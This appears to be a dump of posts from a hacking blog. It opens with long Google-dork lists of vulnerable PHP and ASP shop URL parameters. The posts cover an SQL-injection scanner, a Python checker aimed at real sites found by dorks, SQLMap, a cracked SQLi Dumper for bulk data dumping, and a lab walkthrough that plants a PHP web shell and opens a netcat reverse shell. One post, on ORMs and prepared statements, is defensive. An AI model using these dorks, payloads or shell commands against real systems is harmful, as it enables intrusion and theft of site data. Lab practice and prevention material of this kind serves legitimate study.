index1.php?seite=
include.php?pageweb=
show.php?seccion=
mod*.php?pagina=
sub*.php?name=
padrao.php?c=
padrao.php?eval=
file.php?ev=
default.php?body=
enter.php?itemnav=
blank.php?var=
index.php?addr=
blank.php?oldal=
nota.php?url=
index2.php?action=
blank.php?phpbb_root_path=
mod*.php?var=
mod*.php?strona=
nota.php?nivel=
template.php?content=
mod*.php?content=
default.php?f=
view.php?goto=
principal.php?abre=
pagina.php?filepath=
nota.php?link=
template.php?tipo=
index3.php?q=
page.php?adresa=
sitio.php?category=
index2.php?link=
sub*.php?k=
layout.php?numero=
tools/send_reminders.php?includedir=
module_db.php?pivot_path=
inc/cmses/aedatingCMS.php?dir[inc]=
modules/vwar/admin/admin.php?vwar_root=
bb_usage_stats/include/bb_usage_stats.php?phpbb_root_path=
index.php?RP_PATH=
index.php?pagename=
smarty_config.php?root_dir=
components/com_forum/download.php?phpbb_root_path=
include/editfunc.inc.php?NWCONF_SYSTEM[server_path]=
classes/adodbt/sql.php?classes_dir=
send_reminders.php?includedir=
components/com_rsgery/rsgery.html.php?mosConfig_absolute_path=
inc/functions.inc.php?config[ppa_root_path]=
components/com_cpg/cpg.php?mosConfig_absolute_path=
admin/index.php?o=
index.php?menu=deti&page=
modules/coppermine/themes/coppercop/theme.php?THEME_DIR=
m2f/m2f_phpbb204.php?m2f_root_path=
components/com_extcalendar/admin_events.php?CONFIG_EXT[LANGUAGES_DIR]=
admin/doeditconfig.php?thispath=../includes&config[path]=
components/com_simpleboard/image_upload.php?sbp=
wamp_dir/setup/yesno.phtml?no_url=
include/new-visitor.inc.php?lvc_include_dir=
support/mailling/maillist/inc/initdb.php?absolute_path=
coppercop/theme.php?THEME_DIR=
inc/header.php/step_one.php?server_inc=
inc/pipe.php?HCL_path=
include/new-visitor
"add.asp?bookid="
"add_cart.asp?num="
"addcart.asp?"
"addItem.asp"
"add-to-cart.asp?ID="
"addToCart.asp?idProduct="
"addtomylist.asp?ProdId="
"adminEditProductFields.asp?intProdID="
"advSearch_h.asp?idCategory="
"affiliate.asp?ID="
"affiliate-agreement.cfm?storeid="
"affiliates.asp?id="
"ancillary.asp?ID="
"archive.asp?id="
"article.asp?id="
"aspx?PageID"
"basket.asp?id="
"Book.asp?bookID="
"book_list.asp?bookid="
"book_view.asp?bookid="
"BookDetails.asp?ID="
"browse.asp?catid="
"browse_item_details.asp"
"Browse_Item_Details.asp?Store_Id="
"buy.asp?"
"buy.asp?bookid="
"bycategory.asp?id="
"cardinfo.asp?card="
"cart.asp?action="
"cart.asp?cart_id="
"cart.asp?id="
"cart_additem.asp?id="
"cart_validate.asp?id="
"cartadd.asp?id="
"cat.asp?iCat="
"catalog.asp"
"catalog.asp?CatalogID="
"catalog_item.asp?ID="
"catalog_main.asp?catid="
"category.asp"
"category.asp?catid="
"category_list.asp?id="
"categorydisplay.asp?catid="
"checkout.asp?cartid="
"checkout.asp?UserID="
"checkout_confirmed.asp?order_id="
"checkout1.asp?cartid="
"comersus_listCategoriesAndProducts.asp?idCategory ="
"comersus_optEmailToFriendForm.asp?idProduct="
"comersus_optReviewReadExec.asp?idProduct="
"comersus_viewItem.asp?idProduct="
"comments_form.asp?ID="
"contact.asp?cartId="
"content.asp?id="
"customerService.asp?TextID1="
"default.asp?catID="
"description.asp?bookid="
"details.asp?BookID="
"details.asp?Press_Release_ID="
"details.asp?Product_ID="
"details.asp?Service_ID="
"display_item.asp?id="
"displayproducts.asp"
"downloadTrial.asp?intProdID="
"emailproduct.asp?itemid="
"emailToFriend.asp?idProduct="
"events.asp?ID="
"faq.asp?cartID="
"faq_list.asp?id="
"faqs.asp?id="
"feedback.asp?title="
"freedownload.asp?bookid="
"fullDisplay.asp?item="
"getbook.asp?bookid="
"GetItems.asp?itemid="
"giftDetail.asp?id="
"help.asp?CartId="
"home.asp?id="
"index.asp?cart="
"index.asp?cartID="
"index.asp?ID="
"info.asp?ID="
"item.asp?eid="
"item.asp?item_id="
"item.asp?itemid="
"item.asp?model="
"item.asp?prodtype="
"item.asp?shopcd="
"item_details.asp?catid="
"item_list.asp?maingroup"
"item_show.asp?code_no="
"itemDesc.asp?CartId="
"itemdetail.asp?item="
"itemdetails.asp?catalogid="
"learnmore.asp?cartID="
"links.asp?catid="
"list.asp?bookid="
"List.asp?CatID="
"listcategoriesandproducts.asp?idCategory="
"modline.asp?id="
"myaccount.asp?catid="
"news.asp?id="
"order.asp?BookID="
"order.asp?id="
"order.asp?item_ID="
"OrderForm.asp?Cart="
"page.asp?PartID="
"payment.asp?CartID="
"pdetail.asp?item_id="
"powersearch.asp?CartId="
"price.asp"
"privacy.asp?cartID="
"prodbycat.asp?intCatalogID="
"prodetails.asp?prodid="
"prodlist.asp?catid="
"product.asp?bookID="
"product.asp?intProdID="
"product_info.asp?item_id="
"productDetails.asp?idProduct="
"productDisplay.asp"
"productinfo.asp?item="
"productlist.asp?ViewType=Category&CategoryID= "
"productpage.asp"
"products.asp?ID="
"products.asp?keyword="
"products_category.asp?CategoryID="
"products_detail.asp?CategoryID="
"productsByCategory.asp?intCatalogID="
"prodView.asp?idProduct="
"promo.asp?id="
"promotion.asp?catid="
"pview.asp?Item="
"resellers.asp?idCategory="
"results.asp?cat="
"savecart.asp?CartId="
"search.asp?CartID="
"searchcat.asp?search_id="
"Select_Item.asp?id="
"Services.asp?ID="
"shippinginfo.asp?CartId="
"shop.asp?a="
"shop.asp?action="
"shop.asp?bookid="
"shop.asp?cartID="
"shop_details.asp?prodid="
"shopaddtocart.asp"
"shopaddtocart.asp?catalogid="
"shopbasket.asp?bookid="
"shopbycategory.asp?catid="
"shopcart.asp?title="
"shopcreatorder.asp"
"shopcurrency.asp?cid="
"shopdc.asp?bookid="
"shopdisplaycategories.asp"
"shopdisplayproduct.asp?catalogid="
"shopdisplayproducts.asp"
"shopexd.asp"
"shopexd.asp?catalogid="
"shopping_basket.asp?cartID="
"shopprojectlogin.asp"
"shopquery.asp?catalogid="
"shopremoveitem.asp?cartid="
"shopreviewadd.asp?id="
"shopreviewlist.asp?id="
"ShopSearch.asp?CategoryID="
"shoptellafriend.asp?id="
"shopthanks.asp"
"shopwelcome.asp?title="
"show_item.asp?id="
"show_item_details.asp?item_id="
"showbook.asp?bookid="
"showStore.asp?catID="
"shprodde.asp?SKU="
"specials.asp?id="
"store.asp?id="
"store_bycat.asp?id="
"store_listing.asp?id="
"Store_ViewProducts.asp?Cat="
"store-details.asp?id="
"storefront.asp?id="
"storefronts.asp?title="
"storeitem.asp?item="
"StoreRedirect.asp?ID="
"subcategories.asp?id="
"tek9.asp?"
"template.asp?Action=Item&pid="
"topic.asp?ID="
"tuangou.asp?bookid="
"type.asp?iType="
"updatebasket.asp?bookid="
"updates.asp?ID="
"view.asp?cid="
"view_cart.asp?title="
"view_detail.asp?ID="
"viewcart.asp?CartId="
"viewCart.asp?userID="
"viewCat_h.asp?idCategory="
"viewevent.asp?EventID="
"viewitem.asp?recor="
"viewPrd.asp?idcategory="
"ViewProduct.asp?misc="
"voteList.asp?item_ID="
"whatsnew.asp?idCategory="
"WsAncillary.asp?ID"

The article achieved: 5/5 – (100 votes)

SQLI Hunter v1.2 – Automatically find SQL Injection errors

AnonyViet — Wed, 01 Feb 2023 01:08:34 +0000

SQLI Hunter is a tool that automatically scans for SQL Injection vulnerabilities in a .
This tool automatically searches for websites with SQL errors from Google using google dorks!
Always scan the admin link ^^
Anyone who plays with SQL Injection should not ignore this tool

Join the channel Telegram of the AnonyViet 👉 Link 👈

>>>Download<<<

The article achieved: 5/5 – (100 votes)

Code guide to test Sql Injection security holes with Python script and how to prevent it.

AnonyViet — Sun, 29 Jan 2023 23:21:52 +0000

In this post, AnonyViet will help you check if your website is attacked by python sql syntax 🙂 …!!!

Join the channel Telegram of the AnonyViet 👉 Link 👈

And it will only work if the variables use the GET method.

Here we will write a code in python language.

We will need an internet connection to check and a vulnerable website.

To find a vulnerable website for testing, go to google and type dorks SQLi :

inurl: "index.php? Cat_id ="

You follow the steps below to write a piece of python code:

First open notepad/sublime Text , … create a file then save it: new.py

We will use sys, urllib and urllib.request modules. So import the following libraries: import sys, urllib, urllib.request or import sys, import urllib and import urllib.request

Next: Now we will need to select the input type.

1. Use the input(“”) command to get input from the user.

fullurl = input(“Please specify the full vulnerable url: “)

2. Code that makes a web request

This is the most important part.

resp = urllib.request.urlopen(fullurl + "=1\' or \'1\' = \'1\'")
body = resp.read()
fullbody = body.decode(‘utf-8’)

Now make our program check if the target is vulnerable, once we have response then we have to check if it has SQL error.

We will use this code:

if “You have an error in your SQL syntax” in fullbody:

print (“The website is classic SQL injection vulnerable!”)

else:

print (“The website is not classic SQL injection vulnerable!”)

Ok. Now let’s run it:

Use the command: python “name”.py

Then enter the site you found at the beginning.

Ok so it worked.

Method 2: Use it quickly, then use it

python “name”.py -w website

Now to prevent Hacker from checking my site with SQL injection, I do the following:

Prevent SQLi on MYSQL simply use the string mysql_real_escape for queries, for example:

$query = sprintf(“SELECT * FROM users where user=’%s’ AND password=’%s’,

mysql_real_escape_string($username)

mysql_real_escape_string($password)

Wish you success and accompany AnonyViet.

Love !!

The article achieved: 5/5 – (100 votes)

What is SQL Injection? How to Prevent SQL Injection Vulnerabilities

AnonyViet — Sun, 29 Jan 2023 09:49:33 +0000

SQL injection vulnerabilities arise when you make unsafe database queries. Simply put, users can view your website’s database by entering a query into the URL or filling in the form. Don’t take SQL injection lightly because it’s in Top 10 web security vulnerabilities according to OWASP 2020 announcement there.

Join the channel Telegram of the AnonyViet 👉 Link 👈

How to exploit SQL Injection vulnerability

The simplest is to use the SQLi auto exploit tool. I usually use SQLmap, because according to experience this is the tool with the best possible exploitation. But the downside is that you have to use commands instead of interfaces.

Or you can use the tool SQL Dumper has an interface with more features that are easier to set up. If you are new to learning, you can try this tool to exploit the Website’s database.

How to prevent SQL injection vulnerabilities?

The best way to prevent SQL injection vulnerabilities is to use a framework that allows you to securely filter input data before it enters the database. ORM (Object Relational Mapper) is a good option that you should try. For additional layers of security, validate all input and use WAF (Web Application Firewall).

Simple example

Let’s say I have a Java application that allows users to retrieve their documents by ID. I can do it like this:

String query = "SELECT * FROM documents WHERE ownerId=" + authContext.getUserId() + " AND documentName="" + request.getParameter("docName") + """;
executeQuery(query);

If the user ID is 25 and the URL is https://www.example.com/documents/?docName=ABC123, the query would be:

SELECT * FROM documents WHERE ownerId=25 AND documentName="ABC123";

Still fine, right? But what if the URL is https://www.example.com/documents/?docName=ABC123’OR’1’=’1?

Now I will get the following query that returns all documents of all users (because 1 = 1 is always true):

SELECT * FROM documents WHERE ownerId=25 AND documentName="ABC123" OR '1'='1';

So how to avoid this error?

Using Object Relational Mapping

Taking Java as an example, using an ORM such as hibernate to implement JPA (Java Persistence API) might look like this.

First, define the model.

@Entity
public class Document {
  @Id
  @GeneratedValue(strategy=GenerationType.AUTO)
  private Long id;
  private String documentName;
  private Integer ownerId;
}

Then define the class repository.

@Repository
public interface DocumentRepository extends JpaRepository {
  List findByDocumentNameAndOwnerId(String documentName, Integer ownerId);
}

Finally, you can use the repository and fetch the documents as follows:

List docs = documentRepository.findByDocumentNameAndOwnerId(request.getParameter("docName"), authContext.getUserId());

The ORM will handle all parameters safely. Now suppose you want more control over the queries. In that case, many ORMs provide query builder you can use, such as the Hibernate Criteria API.

If you use Python, Django has an equally great ORM; If you don’t use Django, sqlalchemy is a great option.

PHP has Doctrine. You just need to google to search for ORMs that match the technology of your choice.

Warning

ORM frameworks are not 100% perfect.

The first is that they still have the functionality to support raw SQL queries/query parts. You just need to avoid using those features.

The second is that ORM frameworks often have security holes, just like any other software package. So learn other good practices: validate all input data, use WAF, update packages…

Prepared statements

Prepared statements are a more manual choice and should be avoided because compared to ORMs, it has a significantly higher risk of human error. However, this still beats the simple string concatenation method (like the example above). This approach looks like this:

String query = "SELECT * FROM documents WHERE ownerId=? AND documentName = ?";
PreparedStatement ps = conn.prepareStatement(query);
ps.setString(1, authContext.getUserId());
ps.setString(2, request.getParameter("docName"));
ResultSet rs = ps.executeQuery();

In theory, this is pretty safe. However, in my experience, as the codebase grows larger, mistakes will start to appear. You only need one mistake to be completely attacked. Cases like arrays (documentId IN (“foo”, “bar”)) are where devs often make mistakes.

So if you decide to use this approach, be careful with it when you extend the codebase.

Web Application Firewall

WAF products should not be considered a good SQL injection control. But they are a great extra layer of security and are often quite effective against SQL injection attacks.

A great open source solution is to deploy Apache with ModSecurity CRS in front of your webapp.

Database Firewall

Depending on your database and budget, you might consider trying out database firewalls. I have never tried this, but you can also find out the link below, maybe it will help you.

Conclusion

SQL injection is a simple injection vulnerability. And like all security holes, you can prevent it by using an appropriate library or framework for building the protocol, in this case SQL.

ORM is safer than prepared statements. And if you don’t need too much control over the queries, use a lower level ORM commonly known as a query builder. WAF can add an extra layer of security, but you should never rely on it for security.

The article achieved: 5/5 – (101 votes)

Practice exploiting SQL injection errors with Sqli-labs

AnonyViet — Sun, 29 Jan 2023 06:20:24 +0000

SQL injection is a method that allows hackers to take advantage of the vulnerability of the Website’s input data checking and the error messages returned by the database management system to inject and execute commands. Illegal SQL. SQL injection helps hackers to execute commands like select, insert, update, delete etc right on the web browser, even the server the application is running on.

Join the channel Telegram of the AnonyViet 👉 Link 👈

Although, it has been many years since the first SQLi vulnerability was discovered. SQLi is still a very common vulnerability in web applications. Almost all credit card (CC) thefts are exploited from this vulnerability. Previously, online stores were mostly exploited SQL injection to steal information of shoppers. Now it’s much better.

Aim to hone SQLi vulnerability detection skills. Member DDos (of the WhiteHat forum) introduces the sqli-labs project to you. This project includes 65 different labs with increasing difficulty. The contents of sqli-labs include almost all possible paths to SQLi errors such as: GET/POST request, User-Agent…

Practice exploiting SQL injection errors with Sqli-labs

To install sqli-lab, you need:

You can install software Xamp (version 5.6) or Amp to simulate PHP, MySQL environment on Windows. Or practice right on a Linux virtual machine (Centos, Ubuntu, Kali Linux).

I will guide you to practice on Windows with Xampp emulator software.

Step 1: Load Xamp (using version 5.6)and proceed with the installation as usual.

Delete all files in the directory: C:\xampp\htdocs

Step 2: Open Xampp Control Panel

Press the button Start Apache, MySQL. (If Start doesn’t work, see how to fix the error at this lesson)

Step 3: You download the Sqli-labs installation package at the link below

Step 4: Extract the downloaded file, and copy it to the folder C:\xampp\htdocs

Step 5: Access the link http://localhost on the Web browser.

Click on Setup/reset Database for labs to start installing data for Sqli-labs

If you see the image below, the installation is successful.

Step 6: Go back to localhost home page and click on SQLi-LABS Page-1(Basic Challenges) to start learning from lesson 1.

If you find it difficult to practice SQLi-Labs exercises, check out the channels Tutorials on Youtube.

The article achieved: 5/5 – (100 votes)

SQLMap v1.2.9 – The Most Powerful SQL Injection Vulnerability Exploit

AnonyViet — Sun, 29 Jan 2023 04:33:35 +0000

Today we talk about Hacking with an old but new tool. SQL Injection vulnerabilities have been around for a long time and are quite familiar to us. However, this error is old but still dangerous for any website to make.

Join the channel Telegram of the AnonyViet 👉 Link 👈

The reason is compared to the lack of care in the process of writing data processing code for the website. This vulnerability is often used by Kiddie Scripts to wreak havoc. By the way, if you don’t know who Script Kidde is referring to? then please read here.

This bug allows an intruder to request the server to return data without logging in. So what do you think if information about the admin account is requested to be sent to Hacker? Is the whole website going to go to hell with this Hacker game?

Leverage SQLMap to Find SQL Injection Vulnerabilities

You don’t have to work hard to learn each command line like before and it doesn’t take too much time. If you are a Script Kidde ? You will surely love it SQLMap and what it can do for you. First of all, I would like to briefly explain about SQLMap for those who do not know.

What is SQLMap?

This is a tool to help you exploit SQL-related vulnerabilities quickly. This tool is considered the most powerful weapon in terms of exploiting this SQL vulnerability. When learning Hacking, you definitely have to use it more or less.

It has many features suitable for SQL penetration testers and a series of automatic branching tools to get the database footprint to fetch data from the database. Support for accessing the underlying file system and executing commands on the operating system over an out-of-band connection.

That is, when you get in, you will be able to manipulate their data through the network connection.

Operating system Kali Linux or Back Track 5 SQLMap already has built-in. But for Windows, you have to install Python and SQLMAP to use it. Because SQLMap is written in Python and requires a Python library in your computer to run.

Install Python

As mentioned above, to use SQLMap, you must have a Python library on your computer. You can download and install the Python library at the homepage https://www.python.org/ (It is recommended to install version from 2.7 or higher).

What’s new in SQLMap v1.2.9?

This is a weapon that has existed for a long time through many versions. But now, it has just been updated to version 1.2.9 with many new features. Specifically, information about the new features in this update is:

Full support for database management systems MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB, HSQLDB and Informix.
Full support for six SQL Injection techniques: boolean-based blind, time-based blind, error-based, UNION query-based, stacked queries and out-of-band.
Allows direct connection to the database without passing through SQL injection. You just need to enter the DBMS login information, IP address, Port and Database name you want to connect. (This is what I like.)
Supports enumeration of users, password hashes, privileges, roles, databases, tables and columns.
Helps you to crack the hash of user passwords. That means you can reverse-decrypt and get the password of any user you want.
Allow to copy (backup) the database as you like.
Provides full control over the database upon successful intrusion.
Allows you to Download and Upload Files comfortably to the Database very quickly.

There are a few more special features that I have not listed. Experience it yourself and enjoy with this new version. Now I will guide you to install SQLMap (remember to install Python first).

Install SQLMap

You can download the compressed file directly at one of the two links below.

Alternatively, you can use the command Git to Clone the original from the manufacturer.

git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

Using

Use the command below to display the basic commands in SQLMap v1.2.9

python sqlmap.py -h

From the commands listed, you can Google more about their meaning if you want to understand more deeply. Because its statements are many with different functions. I cannot say it all in one post.

Good luck
Lmint

The article achieved: 5/5 – (100 votes)

Download SQLi Dumper v10.1 Full – SQL Injection Error Exploit Tool

AnonyViet — Sat, 28 Jan 2023 04:30:10 +0000

SQLi Dumper is a specialized software to exploit SQL errors. You can use it to exploit a variety of different websites

Join the channel Telegram of the AnonyViet 👉 Link 👈

Main function:

Multi-threading support. Online search engine (to find features);
Automatic extraction and analysis from URL lists;
Automatically search data in bulk URL lists;
Automated parser for injection points by URL, POST, Cookies, UserLogin or UserPassword;
Dumper supports data dump with multithreading (database/table/column/fetch);
Mining supports up to 100 threads;
Analyzer and Dumper support streams up to 50;
Advanced WAF bypass method;
Advanced custom query box;
Dumper can dump large amounts of data, with the ability to control the latency of each request (multithreading);
Vulnerability to vulnerability is easy;
Support proxy list;
GeoIP database;
Internal database;
Trash bin system;
Administrator login finder;
Hasher cracker online;
Reverse IP;
.Exe standalone (no installation).

Download software

Download SQLi Dumper v10.1 Cracked

How to crack

Step 1: Turn on the keygen file to get the key

Step 2: Run the program and paste the key in

Note: when turning on the keygen file, please turn off the computer protection software because these software mistakenly identify as containing viruses.

How to use SQLi Dumper v10.1

Step 1: open the software

Step 2: This is the main interface of the software

Below is a list of dorks used to scan:

Dork scans the site

Step 3: Once you have the dork, you paste it in, select start scanner and start scanning

Step 4: After you have scanned enough, you switch to the Exploitables page and select start Exploitables to continue scanning

Step 5: After scanning is complete, switch to Injectables and select start Analyzer to check the site for errors

Step 6: Once there is an error site, right click and select go to dumper

Here:

First choose databases to get data
next, select get columns to get column
Finally, check the lines and select dump data to get information

MK-39

Good luck

The article achieved: 5/5 – (100 votes)

Use SQL Injection to run commands and gain shell permissions

AnonyViet — Tue, 24 Jan 2023 19:13:38 +0000

One of the ultimate goals of hacking is to hijack and up the shell to run system commands and hit a target or network. SQL injection are usually just associated with databases and their data, but it can actually be used as a vector to capture shells. In this article, we will exploit a simple SQL injection vulnerability to execute commands and eventually decompile the shell on the server.

Join the channel Telegram of the AnonyViet 👉 Link 👈

I will use DVWA, a vulnerable virtual machine, and Kali Linux to perform the attack. If you are new to Kali, you should read this post for how to set up and secure Kali, to make sure your system is ready for anything.

SQL Injection Overview

SQL injection is one of the most common vulnerabilities encountered on the web and can also be one of the most dangerous. Attackers can inject malicious SQL code to extract sensitive information, modify or destroy existing data, or escalate an attack to take over the server.

There are different types of SQL injection and different attack methods for different database systems in use. Although this type of attack is one of the easiest to start learning, it can still take you several years to master SQL injection.

Step 1: Target exploration

The first thing we need to do is log in to DVWA using the default credentials, admin is the username and the password is password.

Next, go to the “Security” tab on the left and set the security level to “low”. This will ensure our attack goes smoothly.

Navigate to the “SQL Injection” page to initiate the attack. We can see that the function of the page is to get the user ID and return information, in this case the first and last name.

I want to verify that this input is indeed vulnerable to SQL injection. The first thing to try is to simply enter a single double quote, which will close the statement if the system is really vulnerable. And when I do so, the system returns an error, even telling us specifically that the website is using MySQL as the database. At this point, we’ve most likely found a vulnerable entry point.

The next thing we need to do is enumerate the database and determine the number of columns in use. This will allow us to reliably exploit the union-based vulnerability in just a little bit. For a better understanding, let’s see what the query command would look like during normal input submission:

select first_name, surname from users where user_id='';

This could be a query on the backend, with first_name and surname are selected columns, for a total of two columns. But we need to know for sure for this vulnerability to work. We can use order by.

This clause will sort the results of the query by columns. Since we are pretty sure that at least two columns are in use, if we will sort by 1 or 2, the query will succeed. But what if we want to order by 3? If we are correct, then this query will throw an error.

Send the following injection as input, and it will result in an error. The pound sign is used here to comment out the rest of the query so it doesn’t cause any additional syntax errors.

' order by 3 #

You can see that we actually got an error, so now we know for sure that only two columns are being used.

Step 2: Access the shell and exploit the command

Now that we have a bit more information about the database, we can use this to our advantage to perform SQL injection based on union. The union operator is used in SQL to combine the results of two or more select statements, but for it to work properly, the statements must have the same number of columns. This is why we need to learn the backend sooner.

There’s a lot we can do with injections based on union, but in this article, we need to take care of taking advantage of this vulnerability to run operating system commands. One of the easiest ways to do this is to upload a simple PHP shell to pass our commands through.

We need to specify the root directory of the web server to load the shell. Depending on the application and the type of web server in use, the root directory may differ, especially if the administrator changes the default location or has sufficient permissions. For the purposes of this attack, I will assume that the default Apache web root (/var/www/) is being used with public write permissions. Information about the web server, including the root directory, can usually be found in the “phpinfo.php” file.

We can use the into outfile command to write to a file. In this case, we will insert a simple PHP script that can run system commands. The script that I named “cmd.php”, will look like this:

Now, we will do the injection. We will need to use double quotes in the script because we need to enclose the second part of the statement in single quotes – this will avoid syntax errors. The complete injection command should look like this:

' union select 1, '' into outfile '/var/www/dvwa/cmd.php' #

If this command works properly, we will be able to access our shell through the URL and by providing the system command as a parameter. For example, whoami will give us the current user information.

Or uname -a, will give us information about the system.

But providing all these commands via the URL parameter is boring. We can take advantage of this to reverse the shell and go one step further.

Step 3: Decompile Shell with Netcat

Netcat is a powerful network utility used to troubleshoot connection problems, but it can actually be used by hackers as a backdoor and as a method to hijack shells. A lot of Linux distributions have this utility installed by default, so if we can access this tool it’s game over.

First, we’ll need to set up a listener on our local machine. Use the nc command along with -lvp to specify it to listen and to set the corresponding port number.

nc -lvp 1234
listening on [any] 1234 ...

Next, as a parameter to the PHP shell in the URL, enter the following command. It asks the server to execute a shell (-e/bin/sh) and sends it back to our local machine. You need to make sure to use the proper IP address and port.

nc 172.16.1.100 1234 -e /bin/sh

Wait a few seconds and we should see our listener catch the shell and open a connection. From here, we can run commands like id, uname -a and ps.

connect to [172.16.1.100] from (UNKNOWN) [172.16.1.102] 47643
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
ps
  PID TTY          TIME CMD
 4665 ?        00:00:00 apache2
 4669 ?        00:00:00 apache2
 4671 ?        00:00:00 apache2
 4673 ?        00:00:00 apache2
 4674 ?        00:00:00 apache2
 4803 ?        00:00:00 apache2
 4810 ?        00:00:00 apache2
 4914 ?        00:00:00 php
 4915 ?        00:00:00 sh
 4919 ?        00:00:00 ps

We now have the means to execute commands on the web server from our own terminal, all stemming from a simple SQL injection vulnerability. I hope this practical article will help you acquire more knowledge.

The article achieved: 5/5 – (100 votes)